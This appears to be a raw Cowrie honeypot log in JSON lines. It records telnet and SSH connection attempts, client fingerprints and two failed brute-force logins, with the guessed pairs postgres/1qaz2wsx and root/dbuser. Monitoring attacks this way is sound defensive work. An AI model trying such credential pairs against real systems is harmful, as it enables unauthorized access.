{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":44332,"dst_ip":"159.203.135.109","dst_port":23,"session":"86cb42782354","protocol":"telnet","message":"New connection: 213.171.199.40:44332 (159.203.135.109:23) [session: 86cb42782354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:43.094571Z"}
{"eventid":"cowrie.session.closed","duration":30.773805618286133,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:44.070581Z","src_ip":"213.171.199.40","session":"bcf99cb9a39c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.507482528686523,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:44.532608Z","src_ip":"213.171.199.40","session":"6f0a613fe0d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58232831954956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:45.064953Z","src_ip":"213.171.199.40","session":"4202d34d2af2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08657693862915,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:45.912737Z","src_ip":"213.171.199.40","session":"4238ef4edebb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.302478790283203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:46.117024Z","src_ip":"213.171.199.40","session":"6e9851f1ff40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":54998,"dst_ip":"159.203.135.109","dst_port":23,"session":"71f68a75a392","protocol":"telnet","message":"New connection: 213.171.199.40:54998 (159.203.135.109:23) [session: 71f68a75a392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:46.440659Z"}
{"eventid":"cowrie.session.closed","duration":31.299068689346313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:47.558805Z","src_ip":"213.171.199.40","session":"6e0672b6e0ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.815966844558716,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:48.089767Z","src_ip":"213.171.199.40","session":"7448f7b83d72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":33352,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a9e1f5f2a1c","protocol":"telnet","message":"New connection: 213.171.199.40:33352 (159.203.135.109:23) [session: 5a9e1f5f2a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:48.375420Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":41896,"dst_ip":"159.203.135.109","dst_port":23,"session":"541bc60edcf8","protocol":"telnet","message":"New connection: 213.171.199.40:41896 (159.203.135.109:23) [session: 541bc60edcf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:51.088930Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":38994,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b57dd0c2d0b","protocol":"telnet","message":"New connection: 213.171.199.40:38994 (159.203.135.109:23) [session: 2b57dd0c2d0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:51.149660Z"}
{"eventid":"cowrie.session.closed","duration":30.26190686225891,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:53.082432Z","src_ip":"213.171.199.40","session":"f7c7a631ee2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.227808952331543,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:53.229370Z","src_ip":"213.171.199.40","session":"09a95181eb48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":50550,"dst_ip":"159.203.135.109","dst_port":23,"session":"b32123ffdc0d","protocol":"telnet","message":"New connection: 213.171.199.40:50550 (159.203.135.109:23) [session: b32123ffdc0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:53.806459Z"}
{"eventid":"cowrie.session.closed","duration":30.130149841308594,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:54.057921Z","src_ip":"213.171.199.40","session":"8466e057bc55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":53336,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbfa3b6ff8ef","protocol":"telnet","message":"New connection: 213.171.199.40:53336 (159.203.135.109:23) [session: dbfa3b6ff8ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:54.641249Z"}
{"eventid":"cowrie.session.closed","duration":34.940303325653076,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:55.801606Z","src_ip":"45.63.42.31","session":"6bf3c57a2d2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.300861835479736,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:56.464650Z","src_ip":"213.171.199.40","session":"eef2b46b5f49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.365000009536743,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:57.689616Z","src_ip":"213.171.199.40","session":"6cf50247625a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":35526,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e7f02430a31","protocol":"telnet","message":"New connection: 213.171.199.40:35526 (159.203.135.109:23) [session: 1e7f02430a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:57.796514Z"}
{"eventid":"cowrie.session.closed","duration":31.242828130722046,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:58.379379Z","src_ip":"213.171.199.40","session":"66fc02461fc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":37582,"dst_ip":"159.203.135.109","dst_port":23,"session":"736812408f1d","protocol":"telnet","message":"New connection: 213.171.199.40:37582 (159.203.135.109:23) [session: 736812408f1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:58.451644Z"}
{"eventid":"cowrie.session.closed","duration":30.252947092056274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:59.142876Z","src_ip":"213.171.199.40","session":"b54806235247","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86942434310913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:01.054163Z","src_ip":"213.171.199.40","session":"bcfd080d430c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.542348861694336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:01.480016Z","src_ip":"213.171.199.40","session":"e87108ac893e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48026704788208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:02.324671Z","src_ip":"213.171.199.40","session":"d0a7eef2fcbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.44523286819458,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:02.579153Z","src_ip":"213.171.199.40","session":"a0d446142532","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.55.151","src_port":55300,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae716cef2e6e","protocol":"ssh","message":"New connection: 107.173.55.151:55300 (10.17.0.5:22) [session: ae716cef2e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:02.747226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:02.753497Z","src_ip":"107.173.55.151","session":"ae716cef2e6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:02.771212Z","src_ip":"107.173.55.151","session":"ae716cef2e6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1qaz2wsx","message":"login attempt [postgres/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:02.880322Z","src_ip":"107.173.55.151","session":"ae716cef2e6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.58880400657654,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:03.378363Z","src_ip":"45.63.42.31","session":"fa32d7c33ff1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":54250,"dst_ip":"159.203.135.109","dst_port":23,"session":"afa2f6f9c2c4","protocol":"telnet","message":"New connection: 213.171.199.40:54250 (159.203.135.109:23) [session: afa2f6f9c2c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:03.695254Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:03.902291Z","src_ip":"107.173.55.151","session":"ae716cef2e6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.8548264503479,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:04.326216Z","src_ip":"103.115.172.252","session":"40aae47d5998","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.18361806869507,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:05.357429Z","src_ip":"45.63.42.31","session":"7170ee0011a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":43842,"dst_ip":"10.17.0.5","dst_port":22,"session":"66f2fc551251","protocol":"ssh","message":"New connection: 5.182.83.231:43842 (10.17.0.5:22) [session: 66f2fc551251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:07.584234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:07.589088Z","src_ip":"5.182.83.231","session":"66f2fc551251","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:07.706710Z","src_ip":"5.182.83.231","session":"66f2fc551251","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dbuser","message":"login attempt [root/dbuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:08.205765Z","src_ip":"5.182.83.231","session":"66f2fc551251","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:09.325305Z","src_ip":"5.182.83.231","session":"66f2fc551251","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":44452,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8c15fa09781","protocol":"telnet","message":"New connection: 45.63.42.31:44452 (10.17.0.5:23) [session: a8c15fa09781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:13.829745Z"}
{"eventid":"cowrie.session.closed","duration":30.982230186462402,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:14.076712Z","src_ip":"213.171.199.40","session":"86cb42782354","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":37920,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4d9ce54bf67","protocol":"telnet","message":"New connection: 213.171.199.40:37920 (159.203.135.109:23) [session: f4d9ce54bf67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:15.524724Z"}
{"eventid":"cowrie.session.closed","duration":35.66717767715454,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:16.239748Z","src_ip":"45.63.42.31","session":"055ce2fd44e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.671835899353027,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:17.112373Z","src_ip":"213.171.199.40","session":"71f68a75a392","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72583532333374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:19.101133Z","src_ip":"213.171.199.40","session":"5a9e1f5f2a1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":54324,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d224ee701d4","protocol":"telnet","message":"New connection: 213.171.199.40:54324 (159.203.135.109:23) [session: 2d224ee701d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:20.378708Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":55928,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6f51fd516fe","protocol":"telnet","message":"New connection: 213.171.199.40:55928 (159.203.135.109:23) [session: e6f51fd516fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:20.912518Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":56388,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c74cabe6ded","protocol":"telnet","message":"New connection: 213.171.199.40:56388 (159.203.135.109:23) [session: 9c74cabe6ded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:21.082756Z"}
{"eventid":"cowrie.session.closed","duration":30.97349739074707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:22.062305Z","src_ip":"213.171.199.40","session":"541bc60edcf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":59416,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b54a7a347cb","protocol":"telnet","message":"New connection: 213.171.199.40:59416 (159.203.135.109:23) [session: 2b54a7a347cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:22.148285Z"}
{"eventid":"cowrie.session.closed","duration":31.08932900428772,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:22.238904Z","src_ip":"213.171.199.40","session":"2b57dd0c2d0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":36338,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc70037e885b","protocol":"telnet","message":"New connection: 213.171.199.40:36338 (159.203.135.109:23) [session: fc70037e885b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:23.694003Z"}
{"eventid":"cowrie.session.closed","duration":30.304625988006592,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:24.110961Z","src_ip":"213.171.199.40","session":"b32123ffdc0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":60268,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b3c3981b83b","protocol":"telnet","message":"New connection: 45.63.42.31:60268 (10.17.0.5:23) [session: 7b3c3981b83b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:25.006072Z"}
{"eventid":"cowrie.session.closed","duration":30.851781845092773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:25.492900Z","src_ip":"213.171.199.40","session":"dbfa3b6ff8ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.327917337417603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:28.124262Z","src_ip":"213.171.199.40","session":"1e7f02430a31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":51596,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ac224d13e13","protocol":"telnet","message":"New connection: 213.171.199.40:51596 (159.203.135.109:23) [session: 9ac224d13e13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:28.283562Z"}
{"eventid":"cowrie.session.closed","duration":31.362573623657227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:29.814100Z","src_ip":"213.171.199.40","session":"736812408f1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":49760,"dst_ip":"10.17.0.5","dst_port":23,"session":"96a3605e26b9","protocol":"telnet","message":"New connection: 45.63.42.31:49760 (10.17.0.5:23) [session: 96a3605e26b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:32.589268Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":51628,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f4a0c4a4409","protocol":"telnet","message":"New connection: 45.63.42.31:51628 (10.17.0.5:23) [session: 3f4a0c4a4409]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:32.593198Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":50582,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7ef5cdce143","protocol":"telnet","message":"New connection: 45.63.42.31:50582 (10.17.0.5:23) [session: a7ef5cdce143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:33.017488Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":40236,"dst_ip":"159.203.135.109","dst_port":23,"session":"6da1e91a4b1f","protocol":"telnet","message":"New connection: 213.171.199.40:40236 (159.203.135.109:23) [session: 6da1e91a4b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:33.840539Z"}
{"eventid":"cowrie.session.closed","duration":30.355066061019897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:34.050182Z","src_ip":"213.171.199.40","session":"afa2f6f9c2c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":45206,"dst_ip":"159.203.135.109","dst_port":23,"session":"91e725c14b49","protocol":"telnet","message":"New connection: 213.171.199.40:45206 (159.203.135.109:23) [session: 91e725c14b49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:35.426249Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":37630,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f417799a964","protocol":"telnet","message":"New connection: 213.171.199.40:37630 (159.203.135.109:23) [session: 8f417799a964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:41.838472Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":46650,"dst_ip":"159.203.135.109","dst_port":23,"session":"2aa0a3e0fdd7","protocol":"telnet","message":"New connection: 213.171.199.40:46650 (159.203.135.109:23) [session: 2aa0a3e0fdd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:44.485565Z"}
{"eventid":"cowrie.session.closed","duration":30.581255435943604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:46.105883Z","src_ip":"213.171.199.40","session":"f4d9ce54bf67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":33212,"dst_ip":"159.203.135.109","dst_port":23,"session":"3182e15ba1f5","protocol":"telnet","message":"New connection: 213.171.199.40:33212 (159.203.135.109:23) [session: 3182e15ba1f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:49.130591Z"}
{"eventid":"cowrie.session.closed","duration":35.61563229560852,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:49.445273Z","src_ip":"45.63.42.31","session":"a8c15fa09781","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.671570539474487,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:51.050170Z","src_ip":"213.171.199.40","session":"2d224ee701d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.260010719299316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:33:51.172404Z","src_ip":"213.171.199.40","session":"e6f51fd516fe","protocol":"telnet"}
